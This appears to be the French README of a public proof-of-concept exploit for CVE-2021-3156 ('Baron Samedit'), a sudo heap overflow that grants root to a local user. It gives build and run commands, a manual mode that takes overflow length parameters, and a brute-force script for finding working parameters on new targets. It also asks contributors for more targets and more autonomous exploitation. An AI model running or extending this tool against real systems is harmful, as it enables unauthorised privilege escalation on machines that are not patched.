CVE-2021-3156 PoC

Introduction

Ceci est un exploit pour la vulnérabilité CVE-2021-3156 dans sudo (surnommée Baron Samedit par Qualys).

Mode d'emploi

build :

$ make

liste des cibles :

$ ./sudo-hax-me-a-sandwich

exécution :

$ ./sudo-hax-me-a-sandwich <target_number>

mode manuel :

$ ./sudo-hax-me-a-sandwich <smash_len_a> <smash_len_b> <null_stomp_len> <lc_all_len>

Détection de cible par brute force (expérimental)

Assurez-vous d'avoir GNU parallel installé.

$ make brute
$ ./brute.sh <smash_start> <smash_end> <null_start> <null_end> <lc_start> <lc_end>

quelques exemples à essayer :

$ ./brute.sh 90 120 50 70 150 300

Cela consommera tous les cœurs disponibles. N'essayez pas de faire netflix & brute.

Contribuer

Contribuez au dépôt Envoyez une PR (raisonnable), je peux merger. Laissez une étoile

Quelques idées :

• Plus de cibles
• Localisation de cible
• Autres stratégies d'exploitation
• Fonctionnalité plus autonome :
  • Intégrez la bibliothèque partagée hax.c (réduisez, s'il vous plaît, ELF golf + asm setuid / execve stub)
  • Ajoutez la logique mkdir à hax.c
• Nettoyage du répertoire / bibliothèque partagée